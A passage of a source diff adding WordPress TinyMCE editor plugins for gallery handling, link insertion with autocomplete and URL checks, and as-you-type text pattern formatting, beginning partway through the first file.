+	function html( cls, data ) {
+		data = window.encodeURIComponent( data );
+		return '<img src="' + tinymce.Env.transparentSrc + '" class="wp-media mceItem ' + cls + '" ' +
+			'data-wp-media="' + data + '" data-mce-resize="false" data-mce-placeholder="1" alt="" />';
+	}
+
+	function restoreMediaShortcodes( content ) {
+		function getAttr( str, name ) {
+			name = new RegExp( name + '=\"([^\"]+)\"' ).exec( str );
+			return name ? window.decodeURIComponent( name[1] ) : '';
+		}
+
+		return content.replace( /(?:<p(?: [^>]+)?>)*(<img [^>]+>)(?:<\/p>)*/g, function( match, image ) {
+			var data = getAttr( image, 'data-wp-media' );
+
+			if ( data ) {
+				return '<p>' + data + '</p>';
+			}
+
+			return match;
+		});
+	}
+
+	function editMedia( node ) {
+		var gallery, frame, data;
+
+		if ( node.nodeName !== 'IMG' ) {
+			return;
+		}
+
+		// Check if the `wp.media` API exists.
+		if ( typeof wp === 'undefined' || ! wp.media ) {
+			return;
+		}
+
+		data = window.decodeURIComponent( editor.dom.getAttrib( node, 'data-wp-media' ) );
+
+		// Make sure we've selected a gallery node.
+		if ( editor.dom.hasClass( node, 'wp-gallery' ) && wp.media.gallery ) {
+			gallery = wp.media.gallery;
+			frame = gallery.edit( data );
+
+			frame.state('gallery-edit').on( 'update', function( selection ) {
+				var shortcode = gallery.shortcode( selection ).string();
+				editor.dom.setAttrib( node, 'data-wp-media', window.encodeURIComponent( shortcode ) );
+				frame.detach();
+			});
+		}
+	}
+
+	// Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('...');
+	editor.addCommand( 'WP_Gallery', function() {
+		editMedia( editor.selection.getNode() );
+	});
+
+	editor.on( 'mouseup', function( event ) {
+		var dom = editor.dom,
+			node = event.target;
+
+		function unselect() {
+			dom.removeClass( dom.select( 'img.wp-media-selected' ), 'wp-media-selected' );
+		}
+
+		if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) {
+			// Don't trigger on right-click
+			if ( event.button !== 2 ) {
+				if ( dom.hasClass( node, 'wp-media-selected' ) ) {
+					editMedia( node );
+				} else {
+					unselect();
+					dom.addClass( node, 'wp-media-selected' );
+				}
+			}
+		} else {
+			unselect();
+		}
+	});
+
+	// Display gallery, audio or video instead of img in the element path
+	editor.on( 'ResolveName', function( event ) {
+		var dom = editor.dom,
+			node = event.target;
+
+		if ( node.nodeName === 'IMG' && dom.getAttrib( node, 'data-wp-media' ) ) {
+			if ( dom.hasClass( node, 'wp-gallery' ) ) {
+				event.name = 'gallery';
+			}
+		}
+	});
+
+	editor.on( 'BeforeSetContent', function( event ) {
+		// 'wpview' handles the gallery shortcode when present
+		if ( ! editor.plugins.wpview || typeof wp === 'undefined' || ! wp.mce ) {
+			event.content = replaceGalleryShortcodes( event.content );
+		}
+	});
+
+	editor.on( 'PostProcess', function( event ) {
+		if ( event.get ) {
+			event.content = restoreMediaShortcodes( event.content );
+		}
+	});
+});
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wplink/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wplink/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wplink/plugin.js	(revision 56912)
@@ -0,0 +1,623 @@
+( function( tinymce ) {
+	tinymce.ui.Factory.add( 'WPLinkPreview', tinymce.ui.Control.extend( {
+		url: '#',
+		renderHtml: function() {
+			return (
+				'<div id="' + this._id + '" class="wp-link-preview">' +
+					'<a href="' + this.url + '" target="_blank" rel="noopener" tabindex="-1">' + this.url + '</a>' +
+				'</div>'
+			);
+		},
+		setURL: function( url ) {
+			var index, lastIndex;
+
+			if ( this.url !== url ) {
+				this.url = url;
+
+				url = window.decodeURIComponent( url );
+
+				url = url.replace( /^(?:https?:)?\/\/(?:www\.)?/, '' );
+
+				if ( ( index = url.indexOf( '?' ) ) !== -1 ) {
+					url = url.slice( 0, index );
+				}
+
+				if ( ( index = url.indexOf( '#' ) ) !== -1 ) {
+					url = url.slice( 0, index );
+				}
+
+				url = url.replace( /(?:index)?\.html$/, '' );
+
+				if ( url.charAt( url.length - 1 ) === '/' ) {
+					url = url.slice( 0, -1 );
+				}
+
+				// If nothing's left (maybe the URL was just a fragment), use the whole URL.
+				if ( url === '' ) {
+					url = this.url;
+				}
+
+				// If the URL is longer that 40 chars, concatenate the beginning (after the domain) and ending with ...
+				if ( url.length > 40 && ( index = url.indexOf( '/' ) ) !== -1 && ( lastIndex = url.lastIndexOf( '/' ) ) !== -1 && lastIndex !== index ) {
+					// If the beginning + ending are shorter that 40 chars, show more of the ending
+					if ( index + url.length - lastIndex < 40 ) {
+						lastIndex = -( 40 - ( index + 1 ) );
+					}
+
+					url = url.slice( 0, index + 1 ) + '\u2026' + url.slice( lastIndex );
+				}
+
+				tinymce.$( this.getEl().firstChild ).attr( 'href', this.url ).text( url );
+			}
+		}
+	} ) );
+
+	tinymce.ui.Factory.add( 'WPLinkInput', tinymce.ui.Control.extend( {
+		renderHtml: function() {
+			return (
+				'<div id="' + this._id + '" class="wp-link-input">' +
+					'<input type="text" value="" placeholder="' + tinymce.translate( 'Paste URL or type to search' ) + '" />' +
+					'<input type="text" style="display:none" value="" />' +
+				'</div>'
+			);
+		},
+		setURL: function( url ) {
+			this.getEl().firstChild.value = url;
+		},
+		getURL: function() {
+			return tinymce.trim( this.getEl().firstChild.value );
+		},
+		getLinkText: function() {
+			var text = this.getEl().firstChild.nextSibling.value;
+
+			if ( ! tinymce.trim( text ) ) {
+				return '';
+			}
+
+			return text.replace( /[\r\n\t ]+/g, ' ' );
+		},
+		reset: function() {
+			var urlInput = this.getEl().firstChild;
+
+			urlInput.value = '';
+			urlInput.nextSibling.value = '';
+		}
+	} ) );
+
+	tinymce.PluginManager.add( 'wplink', function( editor ) {
+		var toolbar;
+		var editToolbar;
+		var previewInstance;
+		var inputInstance;
+		var linkNode;
+		var doingUndoRedo;
+		var doingUndoRedoTimer;
+		var $ = window.jQuery;
+		var emailRegex = /^(mailto:)?[a-z0-9._%+-]+@[a-z0-9][a-z0-9.-]*\.[a-z]{2,63}$/i;
+		var urlRegex1 = /^https?:\/\/([^\s/?.#-][^\s\/?.#]*\.?)+(\/[^\s"]*)?$/i;
+		var urlRegex2 = /^https?:\/\/[^\/]+\.[^\/]+($|\/)/i;
+		var speak = ( typeof window.wp !== 'undefined' && window.wp.a11y && window.wp.a11y.speak ) ? window.wp.a11y.speak : function() {};
+		var hasLinkError = false;
+
+		function getSelectedLink() {
+			var href, html,
+				node = editor.selection.getStart(),
+				link = editor.dom.getParent( node, 'a[href]' );
+
+			if ( ! link ) {
+				html = editor.selection.getContent({ format: 'raw' });
+
+				if ( html && html.indexOf( '</a>' ) !== -1 ) {
+					href = html.match( /href="([^">]+)"/ );
+
+					if ( href && href[1] ) {
+						link = editor.$( 'a[href="' + href[1] + '"]', node )[0];
+					}
+
+					if ( link ) {
+						editor.selection.select( link );
+					}
+				}
+			}
+
+			return link;
+		}
+
+		function removePlaceholders() {
+			editor.$( 'a' ).each( function( i, element ) {
+				var $element = editor.$( element );
+
+				if ( $element.attr( 'href' ) === '_wp_link_placeholder' ) {
+					editor.dom.remove( element, true );
+				} else if ( $element.attr( 'data-wplink-edit' ) ) {
+					$element.attr( 'data-wplink-edit', null );
+				}
+			});
+		}
+
+		function removePlaceholderStrings( content, dataAttr ) {
+			return content.replace( /(<a [^>]+>)([\s\S]*?)<\/a>/g, function( all, tag, text ) {
+				if ( tag.indexOf( ' href="_wp_link_placeholder"' ) > -1 ) {
+					return text;
+				}
+
+				if ( dataAttr ) {
+					tag = tag.replace( / data-wplink-edit="true"/g, '' );
+				}
+
+				tag = tag.replace( / data-wplink-url-error="true"/g, '' );
+
+				return tag + text + '</a>';
+			});
+		}
+
+		function checkLink( node ) {
+			var $link = editor.$( node );
+			var href = $link.attr( 'href' );
+
+			if ( ! href || typeof $ === 'undefined' ) {
+				return;
+			}
+
+			hasLinkError = false;
+
+			if ( /^http/i.test( href ) && ( ! urlRegex1.test( href ) || ! urlRegex2.test( href ) ) ) {
+				hasLinkError = true;
+				$link.attr( 'data-wplink-url-error', 'true' );
+				speak( editor.translate( 'Warning: the link has been inserted but may have errors. Please test it.' ), 'assertive' );
+			} else {
+				$link.removeAttr( 'data-wplink-url-error' );
+			}
+		}
+
+		editor.on( 'preinit', function() {
+			if ( editor.wp && editor.wp._createToolbar ) {
+				toolbar = editor.wp._createToolbar( [
+					'wp_link_preview',
+					'wp_link_edit',
+					'wp_link_remove'
+				], true );
+
+				var editButtons = [
+					'wp_link_input',
+					'wp_link_apply'
+				];
+
+				if ( typeof window.wpLink !== 'undefined' ) {
+					editButtons.push( 'wp_link_advanced' );
+				}
+
+				editToolbar = editor.wp._createToolbar( editButtons, true );
+
+				editToolbar.on( 'show', function() {
+					if ( typeof window.wpLink === 'undefined' || ! window.wpLink.modalOpen ) {
+						window.setTimeout( function() {
+							var element = editToolbar.$el.find( 'input.ui-autocomplete-input' )[0],
+								selection = linkNode && ( linkNode.textContent || linkNode.innerText );
+
+							if ( element ) {
+								if ( ! element.value && selection && typeof window.wpLink !== 'undefined' ) {
+									element.value = window.wpLink.getUrlFromSelection( selection );
+								}
+
+								if ( ! doingUndoRedo ) {
+									element.focus();
+									element.select();
+								}
+							}
+						} );
+					}
+				} );
+
+				editToolbar.on( 'hide', function() {
+					if ( ! editToolbar.scrolling ) {
+						editor.execCommand( 'wp_link_cancel' );
+					}
+				} );
+			}
+		} );
+
+		editor.addCommand( 'WP_Link', function() {
+			if ( tinymce.Env.ie && tinymce.Env.ie < 10 && typeof window.wpLink !== 'undefined' ) {
+				window.wpLink.open( editor.id );
+				return;
+			}
+
+			linkNode = getSelectedLink();
+			editToolbar.tempHide = false;
+
+			if ( linkNode ) {
+				editor.dom.setAttribs( linkNode, { 'data-wplink-edit': true } );
+			} else {
+				removePlaceholders();
+				editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder' } );
+
+				linkNode = editor.$( 'a[href="_wp_link_placeholder"]' )[0];
+				editor.nodeChanged();
+			}
+		} );
+
+		editor.addCommand( 'wp_link_apply', function() {
+			if ( editToolbar.scrolling ) {
+				return;
+			}
+
+			var href, text;
+
+			if ( linkNode ) {
+				href = inputInstance.getURL();
+				text = inputInstance.getLinkText();
+				editor.focus();
+
+				var parser = document.createElement( 'a' );
+				parser.href = href;
+
+				if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
+					href = '';
+				}
+
+				if ( ! href ) {
+					editor.dom.remove( linkNode, true );
+					return;
+				}
+
+				if ( ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( href ) && ! emailRegex.test( href ) ) {
+					href = 'http://' + href;
+				}
+
+				editor.dom.setAttribs( linkNode, { href: href, 'data-wplink-edit': null } );
+
+				if ( ! tinymce.trim( linkNode.innerHTML ) ) {
+					editor.$( linkNode ).text( text || href );
+				}
+
+				checkLink( linkNode );
+			}
+
+			inputInstance.reset();
+			editor.nodeChanged();
+
+			// Audible confirmation message when a link has been inserted in the Editor.
+			if ( typeof window.wpLinkL10n !== 'undefined' && ! hasLinkError ) {
+				speak( window.wpLinkL10n.linkInserted );
+			}
+		} );
+
+		editor.addCommand( 'wp_link_cancel', function() {
+			if ( ! editToolbar.tempHide ) {
+				inputInstance.reset();
+				removePlaceholders();
+			}
+		} );
+
+		editor.addCommand( 'wp_unlink', function() {
+			editor.execCommand( 'unlink' );
+			editToolbar.tempHide = false;
+			editor.execCommand( 'wp_link_cancel' );
+		} );
+
+		// WP default shortcuts
+		editor.addShortcut( 'access+a', '', 'WP_Link' );
+		editor.addShortcut( 'access+s', '', 'wp_unlink' );
+		// The "de-facto standard" shortcut, see #27305
+		editor.addShortcut( 'meta+k', '', 'WP_Link' );
+
+		editor.addButton( 'link', {
+			icon: 'link',
+			tooltip: 'Insert/edit link',
+			cmd: 'WP_Link',
+			stateSelector: 'a[href]'
+		});
+
+		editor.addButton( 'unlink', {
+			icon: 'unlink',
+			tooltip: 'Remove link',
+			cmd: 'unlink'
+		});
+
+		editor.addMenuItem( 'link', {
+			icon: 'link',
+			text: 'Insert/edit link',
+			cmd: 'WP_Link',
+			stateSelector: 'a[href]',
+			context: 'insert',
+			prependToContext: true
+		});
+
+		editor.on( 'pastepreprocess', function( event ) {
+			var pastedStr = event.content,
+				regExp = /^(?:https?:)?\/\/\S+$/i;
+
+			if ( ! editor.selection.isCollapsed() && ! regExp.test( editor.selection.getContent() ) ) {
+				pastedStr = pastedStr.replace( /<[^>]+>/g, '' );
+				pastedStr = tinymce.trim( pastedStr );
+
+				if ( regExp.test( pastedStr ) ) {
+					editor.execCommand( 'mceInsertLink', false, {
+						href: editor.dom.decode( pastedStr )
+					} );
+
+					event.preventDefault();
+				}
+			}
+		} );
+
+		// Remove any remaining placeholders on saving.
+		editor.on( 'savecontent', function( event ) {
+			event.content = removePlaceholderStrings( event.content, true );
+		});
+
+		// Prevent adding undo levels on inserting link placeholder.
+		editor.on( 'BeforeAddUndo', function( event ) {
+			if ( event.lastLevel && event.lastLevel.content && event.level.content &&
+				event.lastLevel.content === removePlaceholderStrings( event.level.content ) ) {
+
+				event.preventDefault();
+			}
+		});
+
+		// When doing undo and redo with keyboard shortcuts (Ctrl|Cmd+Z, Ctrl|Cmd+Shift+Z, Ctrl|Cmd+Y),
+		// set a flag to not focus the inline dialog. The editor has to remain focused so the users can do consecutive undo/redo.
+		editor.on( 'keydown', function( event ) {
+			if ( event.keyCode === 27 ) { // Esc
+				editor.execCommand( 'wp_link_cancel' );
+			}
+
+			if ( event.altKey || ( tinymce.Env.mac && ( ! event.metaKey || event.ctrlKey ) ) ||
+				( ! tinymce.Env.mac && ! event.ctrlKey ) ) {
+
+				return;
+			}
+
+			if ( event.keyCode === 89 || event.keyCode === 90 ) { // Y or Z
+				doingUndoRedo = true;
+
+				window.clearTimeout( doingUndoRedoTimer );
+				doingUndoRedoTimer = window.setTimeout( function() {
+					doingUndoRedo = false;
+				}, 500 );
+			}
+		} );
+
+		editor.addButton( 'wp_link_preview', {
+			type: 'WPLinkPreview',
+			onPostRender: function() {
+				previewInstance = this;
+			}
+		} );
+
+		editor.addButton( 'wp_link_input', {
+			type: 'WPLinkInput',
+			onPostRender: function() {
+				var element = this.getEl(),
+					input = element.firstChild,
+					$input, cache, last;
+
+				inputInstance = this;
+
+				if ( $ && $.ui && $.ui.autocomplete ) {
+					$input = $( input );
+
+					$input.on( 'keydown', function() {
+						$input.removeAttr( 'aria-activedescendant' );
+					} )
+					.autocomplete( {
+						source: function( request, response ) {
+							if ( last === request.term ) {
+								response( cache );
+								return;
+							}
+
+							if ( /^https?:/.test( request.term ) || request.term.indexOf( '.' ) !== -1 ) {
+								return response();
+							}
+
+							$.post( window.ajaxurl, {
+								action: 'wp-link-ajax',
+								page: 1,
+								search: request.term,
+								_ajax_linking_nonce: $( '#_ajax_linking_nonce' ).val()
+							}, function( data ) {
+								cache = data;
+								response( data );
+							}, 'json' );
+
+							last = request.term;
+						},
+						focus: function( event, ui ) {
+							$input.attr( 'aria-activedescendant', 'mce-wp-autocomplete-' + ui.item.ID );
+							/*
+							 * Don't empty the URL input field, when using the arrow keys to
+							 * highlight items. See api.jqueryui.com/autocomplete/#event-focus
+							 */
+							event.preventDefault();
+						},
+						select: function( event, ui ) {
+							$input.val( ui.item.permalink );
+							$( element.firstChild.nextSibling ).val( ui.item.title );
+
+							if ( 9 === event.keyCode && typeof window.wpLinkL10n !== 'undefined' ) {
+								// Audible confirmation message when a link has been selected.
+								speak( window.wpLinkL10n.linkSelected );
+							}
+
+							return false;
+						},
+						open: function() {
+							$input.attr( 'aria-expanded', 'true' );
+							editToolbar.blockHide = true;
+						},
+						close: function() {
+							$input.attr( 'aria-expanded', 'false' );
+							editToolbar.blockHide = false;
+						},
+						minLength: 2,
+						position: {
+							my: 'left top+2'
+						},
+						messages: {
+							noResults: ( typeof window.uiAutocompleteL10n !== 'undefined' ) ? window.uiAutocompleteL10n.noResults : '',
+							results: function( number ) {
+								if ( typeof window.uiAutocompleteL10n !== 'undefined' ) {
+									if ( number > 1 ) {
+										return window.uiAutocompleteL10n.manyResults.replace( '%d', number );
+									}
+
+									return window.uiAutocompleteL10n.oneResult;
+								}
+							}
+						}
+					} ).autocomplete( 'instance' )._renderItem = function( ul, item ) {
+						var fallbackTitle = ( typeof window.wpLinkL10n !== 'undefined' ) ? window.wpLinkL10n.noTitle : '',
+							title = item.title ? item.title : fallbackTitle;
+
+						return $( '<li role="option" id="mce-wp-autocomplete-' + item.ID + '">' )
+						.append( '<span>' + title + '</span>&nbsp;<span class="wp-editor-float-right">' + item.info + '</span>' )
+						.appendTo( ul );
+					};
+
+					$input.attr( {
+						'role': 'combobox',
+						'aria-autocomplete': 'list',
+						'aria-expanded': 'false',
+						'aria-owns': $input.autocomplete( 'widget' ).attr( 'id' )
+					} )
+					.on( 'focus', function() {
+						var inputValue = $input.val();
+						/*
+						 * Don't trigger a search if the URL field already has a link or is empty.
+						 * Also, avoids screen readers announce `No search results`.
+						 */
+						if ( inputValue && ! /^https?:/.test( inputValue ) ) {
+							$input.autocomplete( 'search' );
+						}
+					} )
+					// Returns a jQuery object containing the menu element.
+					.autocomplete( 'widget' )
+						.addClass( 'wplink-autocomplete' )
+						.attr( 'role', 'listbox' )
+						.removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.
+						/*
+						 * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
+						 * The `menufocus` and `menublur` events are the same events used to add and remove
+						 * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
+						 */
+						.on( 'menufocus', function( event, ui ) {
+							ui.item.attr( 'aria-selected', 'true' );
+						})
+						.on( 'menublur', function() {
+							/*
+							 * The `menublur` event returns an object where the item is `null`
+							 * so we need to find the active item with other means.
+							 */
+							$( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
+						});
+				}
+
+				tinymce.$( input ).on( 'keydown', function( event ) {
+					if ( event.keyCode === 13 ) {
+						editor.execCommand( 'wp_link_apply' );
+						event.preventDefault();
+					}
+				} );
+			}
+		} );
+
+		editor.on( 'wptoolbar', function( event ) {
+			var linkNode = editor.dom.getParent( event.element, 'a' ),
+				$linkNode, href, edit;
+
+			if ( typeof window.wpLink !== 'undefined' && window.wpLink.modalOpen ) {
+				editToolbar.tempHide = true;
+				return;
+			}
+
+			editToolbar.tempHide = false;
+
+			if ( linkNode ) {
+				$linkNode = editor.$( linkNode );
+				href = $linkNode.attr( 'href' );
+				edit = $linkNode.attr( 'data-wplink-edit' );
+
+				if ( href === '_wp_link_placeholder' || edit ) {
+					if ( href !== '_wp_link_placeholder' && ! inputInstance.getURL() ) {
+						inputInstance.setURL( href );
+					}
+
+					event.element = linkNode;
+					event.toolbar = editToolbar;
+				} else if ( href && ! $linkNode.find( 'img' ).length ) {
+					previewInstance.setURL( href );
+					event.element = linkNode;
+					event.toolbar = toolbar;
+
+					if ( $linkNode.attr( 'data-wplink-url-error' ) === 'true' ) {
+						toolbar.$el.find( '.wp-link-preview a' ).addClass( 'wplink-url-error' );
+					} else {
+						toolbar.$el.find( '.wp-link-preview a' ).removeClass( 'wplink-url-error' );
+						hasLinkError = false;
+					}
+				}
+			} else if ( editToolbar.visible() ) {
+				editor.execCommand( 'wp_link_cancel' );
+			}
+		} );
+
+		editor.addButton( 'wp_link_edit', {
+			tooltip: 'Edit|button', // '|button' is not displayed, only used for context
+			icon: 'dashicon dashicons-edit',
+			cmd: 'WP_Link'
+		} );
+
+		editor.addButton( 'wp_link_remove', {
+			tooltip: 'Remove link',
+			icon: 'dashicon dashicons-editor-unlink',
+			cmd: 'wp_unlink'
+		} );
+
+		editor.addButton( 'wp_link_advanced', {
+			tooltip: 'Link options',
+			icon: 'dashicon dashicons-admin-generic',
+			onclick: function() {
+				if ( typeof window.wpLink !== 'undefined' ) {
+					var url = inputInstance.getURL() || null,
+						text = inputInstance.getLinkText() || null;
+
+					/*
+					 * Accessibility note: moving focus back to the editor confuses
+					 * screen readers. They will announce again the Editor ARIA role
+					 * `application` and the iframe `title` attribute.
+					 *
+					 * Unfortunately IE looses the selection when the editor iframe
+					 * looses focus, so without returning focus to the editor, the code
+					 * in the modal will not be able to get the selection, place the caret
+					 * at the same location, etc.
+					 */
+					if ( tinymce.Env.ie ) {
+						editor.focus(); // Needed for IE
+					}
+
+					editToolbar.tempHide = true;
+					window.wpLink.open( editor.id, url, text, linkNode );
+
+					inputInstance.reset();
+				}
+			}
+		} );
+
+		editor.addButton( 'wp_link_apply', {
+			tooltip: 'Apply',
+			icon: 'dashicon dashicons-editor-break',
+			cmd: 'wp_link_apply',
+			classes: 'widget btn primary'
+		} );
+
+		return {
+			close: function() {
+				editToolbar.tempHide = false;
+				editor.execCommand( 'wp_link_cancel' );
+			},
+			checkLink: checkLink
+		};
+	} );
+} )( window.tinymce );
Index: /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wptextpattern/plugin.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wptextpattern/plugin.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/plugins/wptextpattern/plugin.js	(revision 56912)
@@ -0,0 +1,348 @@
+/**
+ * Text pattern plugin for TinyMCE
+ *
+ * @since 4.3.0
+ *
+ * This plugin can automatically format text patterns as you type. It includes several groups of patterns.
+ *
+ * Start of line patterns:
+ *  As-you-type:
+ *  - Unordered list (`* ` and `- `).
+ *  - Ordered list (`1. ` and `1) `).
+ *
+ *  On enter:
+ *  - h2 (## ).
+ *  - h3 (### ).
+ *  - h4 (#### ).
+ *  - h5 (##### ).
+ *  - h6 (###### ).
+ *  - blockquote (> ).
+ *  - hr (---).
+ *
+ * Inline patterns:
+ *  - <code> (`) (backtick).
+ *
+ * If the transformation in unwanted, the user can undo the change by pressing backspace,
+ * using the undo shortcut, or the undo button in the toolbar.
+ *
+ * Setting for the patterns can be overridden by plugins by using the `tiny_mce_before_init` PHP filter.
+ * The setting name is `wptextpattern` and the value is an object containing override arrays for each
+ * patterns group. There are three groups: "space", "enter", and "inline". Example (PHP):
+ *
+ * add_filter( 'tiny_mce_before_init', 'my_mce_init_wptextpattern' );
+ * function my_mce_init_wptextpattern( $init ) {
+ *   $init['wptextpattern'] = wp_json_encode( array(
+ *      'inline' => array(
+ *        array( 'delimiter' => '**', 'format' => 'bold' ),
+ *        array( 'delimiter' => '__', 'format' => 'italic' ),
+ *      ),
+ *   ) );
+ *
+ *   return $init;
+ * }
+ *
+ * Note that setting this will override the default text patterns. You will need to include them
+ * in your settings array if you want to keep them working.
+ */
+( function( tinymce, setTimeout ) {
+	if ( tinymce.Env.ie && tinymce.Env.ie < 9 ) {
+		return;
+	}
+
+	/**
+	 * Escapes characters for use in a Regular Expression.
+	 *
+	 * @param  {String} string Characters to escape
+	 *
+	 * @return {String}        Escaped characters
+	 */
+	function escapeRegExp( string ) {
+		return string.replace( /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&' );
+	}
+
+	tinymce.PluginManager.add( 'wptextpattern', function( editor ) {
+		var VK = tinymce.util.VK;
+		var settings = editor.settings.wptextpattern || {};
+
+		var spacePatterns = settings.space || [
+			{ regExp: /^[*-]\s/, cmd: 'InsertUnorderedList' },
+			{ regExp: /^1[.)]\s/, cmd: 'InsertOrderedList' }
+		];
+
+		var enterPatterns = settings.enter || [
+			{ start: '##', format: 'h2' },
+			{ start: '###', format: 'h3' },
+			{ start: '####', format: 'h4' },
+			{ start: '#####', format: 'h5' },
+			{ start: '######', format: 'h6' },
+			{ start: '>', format: 'blockquote' },
+			{ regExp: /^(-){3,}$/, element: 'hr' }
+		];
+
+		var inlinePatterns = settings.inline || [
+			{ delimiter: '`', format: 'code' }
+		];
+
+		var canUndo;
+
+		editor.on( 'selectionchange', function() {
+			canUndo = null;
+		} );
+
+		editor.on( 'keydown', function( event ) {
+			if ( ( canUndo && event.keyCode === 27 /* ESCAPE */ ) || ( canUndo === 'space' && event.keyCode === VK.BACKSPACE ) ) {
+				editor.undoManager.undo();
+				event.preventDefault();
+				event.stopImmediatePropagation();
+			}
+
+			if ( VK.metaKeyPressed( event ) ) {
+				return;
+			}
+
+			if ( event.keyCode === VK.ENTER ) {
+				enter();
+			// Wait for the browser to insert the character.
+			} else if ( event.keyCode === VK.SPACEBAR ) {
+				setTimeout( space );
+			} else if ( event.keyCode > 47 && ! ( event.keyCode >= 91 && event.keyCode <= 93 ) ) {
+				setTimeout( inline );
+			}
+		}, true );
+
+		function inline() {
+			var rng = editor.selection.getRng();
+			var node = rng.startContainer;
+			var offset = rng.startOffset;
+			var startOffset;
+			var endOffset;
+			var pattern;
+			var format;
+			var zero;
+
+			// We need a non empty text node with an offset greater than zero.
+			if ( ! node || node.nodeType !== 3 || ! node.data.length || ! offset ) {
+				return;
+			}
+
+			var string = node.data.slice( 0, offset );
+			var lastChar = node.data.charAt( offset - 1 );
+
+			tinymce.each( inlinePatterns, function( p ) {
+				// Character before selection should be delimiter.
+				if ( lastChar !== p.delimiter.slice( -1 ) ) {
+					return;
+				}
+
+				var escDelimiter = escapeRegExp( p.delimiter );
+				var delimiterFirstChar = p.delimiter.charAt( 0 );
+				var regExp = new RegExp( '(.*)' + escDelimiter + '.+' + escDelimiter + '$' );
+				var match = string.match( regExp );
+
+				if ( ! match ) {
+					return;
+				}
+
+				startOffset = match[1].length;
+				endOffset = offset - p.delimiter.length;
+
+				var before = string.charAt( startOffset - 1 );
+				var after = string.charAt( startOffset + p.delimiter.length );
+
+				// test*test* => format applied
+				// test *test* => applied
+				// test* test* => not applied
+				if ( startOffset && /\S/.test( before ) ) {
+					if ( /\s/.test( after ) || before === delimiterFirstChar ) {
+						return;
+					}
+				}
+
+				// Do not replace when only whitespace and delimiter characters.
+				if ( ( new RegExp( '^[\\s' + escapeRegExp( delimiterFirstChar ) + ']+$' ) ).test( string.slice( startOffset, endOffset ) ) ) {
+					return;
+				}
+
+				pattern = p;
+
+				return false;
+			} );
+
+			if ( ! pattern ) {
+				return;
+			}
+
+			format = editor.formatter.get( pattern.format );
+
+			if ( format && format[0].inline ) {
+				editor.undoManager.add();
+
+				editor.undoManager.transact( function() {
+					node.insertData( offset, '\uFEFF' );
+
+					node = node.splitText( startOffset );
+					zero = node.splitText( offset - startOffset );
+
+					node.deleteData( 0, pattern.delimiter.length );
+					node.deleteData( node.data.length - pattern.delimiter.length, pattern.delimiter.length );
+
+					editor.formatter.apply( pattern.format, {}, node );
+
+					editor.selection.setCursorLocation( zero, 1 );
+				} );
+
+				// We need to wait for native events to be triggered.
+				setTimeout( function() {
+					canUndo = 'space';
+
+					editor.once( 'selectionchange', function() {
+						var offset;
+
+						if ( zero ) {
+							offset = zero.data.indexOf( '\uFEFF' );
+
+							if ( offset !== -1 ) {
+								zero.deleteData( offset, offset + 1 );
+							}
+						}
+					} );
+				} );
+			}
+		}
+
+		function firstTextNode( node ) {
+			var parent = editor.dom.getParent( node, 'p' ),
+				child;
+
+			if ( ! parent ) {
+				return;
+			}
+
+			while ( child = parent.firstChild ) {
+				if ( child.nodeType !== 3 ) {
+					parent = child;
+				} else {
+					break;
+				}
+			}
+
+			if ( ! child ) {
+				return;
+			}
+
+			if ( ! child.data ) {
+				if ( child.nextSibling && child.nextSibling.nodeType === 3 ) {
+					child = child.nextSibling;
+				} else {
+					child = null;
+				}
+			}
+
+			return child;
+		}
+
+		function space() {
+			var rng = editor.selection.getRng(),
+				node = rng.startContainer,
+				parent,
+				text;
+
+			if ( ! node || firstTextNode( node ) !== node ) {
+				return;
+			}
+
+			parent = node.parentNode;
+			text = node.data;
+
+			tinymce.each( spacePatterns, function( pattern ) {
+				var match = text.match( pattern.regExp );
+
+				if ( ! match || rng.startOffset !== match[0].length ) {
+					return;
+				}
+
+				editor.undoManager.add();
+
+				editor.undoManager.transact( function() {
+					node.deleteData( 0, match[0].length );
+
+					if ( ! parent.innerHTML ) {
+						parent.appendChild( document.createElement( 'br' ) );
+					}
+
+					editor.selection.setCursorLocation( parent );
+					editor.execCommand( pattern.cmd );
+				} );
+
+				// We need to wait for native events to be triggered.
+				setTimeout( function() {
+					canUndo = 'space';
+				} );
+
+				return false;
+			} );
+		}
+
+		function enter() {
+			var rng = editor.selection.getRng(),
+				start = rng.startContainer,
+				node = firstTextNode( start ),
+				i = enterPatterns.length,
+				text, pattern, parent;
+
+			if ( ! node ) {
+				return;
+			}
+
+			text = node.data;
+
+			while ( i-- ) {
+				if ( enterPatterns[ i ].start ) {
+					if ( text.indexOf( enterPatterns[ i ].start ) === 0 ) {
+						pattern = enterPatterns[ i ];
+						break;
+					}
+				} else if ( enterPatterns[ i ].regExp ) {
+					if ( enterPatterns[ i ].regExp.test( text ) ) {
+						pattern = enterPatterns[ i ];
+						break;
+					}
+				}
+			}
+
+			if ( ! pattern ) {
+				return;
+			}
+
+			if ( node === start && tinymce.trim( text ) === pattern.start ) {
+				return;
+			}
+
+			editor.once( 'keyup', function() {
+				editor.undoManager.add();
+
+				editor.undoManager.transact( function() {
+					if ( pattern.format ) {
+						editor.formatter.apply( pattern.format, {}, node );
+						node.replaceData( 0, node.data.length, ltrim( node.data.slice( pattern.start.length ) ) );
+					} else if ( pattern.element ) {
+						parent = node.parentNode && node.parentNode.parentNode;
+
+						if ( parent ) {
+							parent.replaceChild( document.createElement( pattern.element ), node.parentNode );
+						}
+					}
+				} );
+
+				// We need to wait for native events to be triggered.
+				setTimeout( function() {
+					canUndo = 'enter';
+				} );
+			} );
+		}
+
+		function ltrim( text ) {
+			return text ? text.replace( /^\s+/, '' ) : '';
+		}
+	} );
